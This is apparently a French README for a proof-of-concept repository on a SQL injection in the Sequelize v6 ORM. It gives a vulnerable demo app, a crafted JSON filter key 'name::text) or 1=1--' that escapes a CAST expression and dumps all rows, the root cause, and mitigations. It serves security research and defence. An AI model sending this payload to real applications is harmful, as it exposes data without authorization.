
Injection SQL par cast JSON Sequelize
★ CVE-2026-30951 PoC d'injection SQL dans l'ORM Sequelize ★
https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381
CVE-2026-30951 est une vulnérabilité d'injection SQL dans Sequelize v6, un ORM Node.js largement utilisé.
La vulnérabilité réside dans le traitement des clauses
whereJSON/JSONB. Lorsque Sequelize analyse une clé de chemin JSON contenant::, la valeur après::est traitée comme un type de cast SQL et est insérée dans le SQL généré sans validation appropriée.Si un attaquant peut contrôler les clés d'objets JSON transmises à une clause
wherede Sequelize, il peut manipuler la requête SQL générée.
| Catégorie | Version |
|---|
| Vulnérable | Sequelize v6.x <= 6.37.7 |
| Corrigée | Sequelize 6.37.8 |
| Non affectée | Sequelize v7 / @sequelize/core |
Ce dépôt contient une application de challenge minimale vulnérable utilisant Node.js, Express, Sequelize et SQLite.
npm install
npm start
L'application démarre sur :
http://127.0.0.1:9100
docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln
Le conteneur Docker démarre sur :
http://127.0.0.1:9100
Après avoir démarré l'environnement vulnérable, suivez les étapes ci-dessous pour reproduire l'injection.
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name": "emma"
}
}
Cela renvoie uniquement les utilisateurs correspondant à la logique normale de recherche par nom.
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name::text) or 1=1--": "emma"
}
}
Résultat attendu :
All user rows are returned.
La clé JSON forgée amène Sequelize à générer une expression de cast similaire à :
CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)
Comme le type de cast est contrôlé par l'attaquant, la condition OR 1=1 modifie le comportement prévu de la clause WHERE. Le retour de toutes les lignes depuis le même point de terminaison de recherche confirme que l'injection SQL est possible.
La vulnérabilité est causée par une validation insuffisante des types de cast JSON dans Sequelize v6.
En interne, la logique de parcours JSON de Sequelize découpe les clés de chemin JSON sur :: :
jsonKey::castType
Le type de cast est ensuite utilisé dans le SQL généré comme suit :
CAST(<json_extract_expression> AS <cast_type>)
Dans les versions vulnérables, <cast_type> n'est pas correctement échappé ni restreint à une liste blanche sûre. Cela permet à une clé JSON contrôlée par l'attaquant de sortir de l'expression de cast et d'injecter du SQL.
Tout modèle d'application similaire à ce qui suit peut être vulnérable lors de l'utilisation des versions affectées de Sequelize :
app.post('/api/users/search', async (req, res) => {
const users = await User.findAll({
where: {
metadata: req.body.filter
}
});
res.json(users);
});
Ceci est dangereux car l'attaquant contrôle non seulement les valeurs JSON, mais aussi les clés des objets JSON.
Cette vulnérabilité est particulièrement dangereuse car de nombreux développeurs supposent que les constructeurs de requêtes ORM protègent automatiquement contre l'injection SQL. Dans ce cas, l'injection se produit à l'intérieur du SQL généré par l'ORM, après que l'application a déjà transmis des objets JavaScript structurés à Sequelize.
Selon la logique de l'application, l'exploitation peut permettre :
Il s'agit fondamentalement d'un problème CWE-89 : Neutralisation incorrecte des éléments spéciaux utilisés dans une commande SQL.
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Sends crafted JSON filter
| with malicious name:: key
v
+-------------------------------------------+
| POST /api/users/search |
+-------------------------------------------+
|
| Sequelize JSON where clause
| processes key containing ::
v
+-------------------------------------------+
| Unescaped SQL cast type injection |
+-------------------------------------------+
|
| Boolean condition manipulation
v
+-------------------------------------------+
| SQL Injection Confirmed |
+-------------------------------------------+
where JSON/JSONB de Sequelize::, sauf si explicitement requisconst allowedFilters = ['name', 'role', 'team', 'office', 'department'];
if (!allowedFilters.includes(req.body.field)) {
throw new Error('Invalid filter field');
}
Ce dépôt est destiné à la recherche en sécurité, à la validation défensive et à un usage éducatif dans des environnements contrôlés uniquement.
N'utilisez pas ce PoC contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester.
Nous publions une analyse de CVE et de malware une fois par mois. Si cela vous intéresse, veuillez suivre les liens ci-dessous pour consulter nos publications.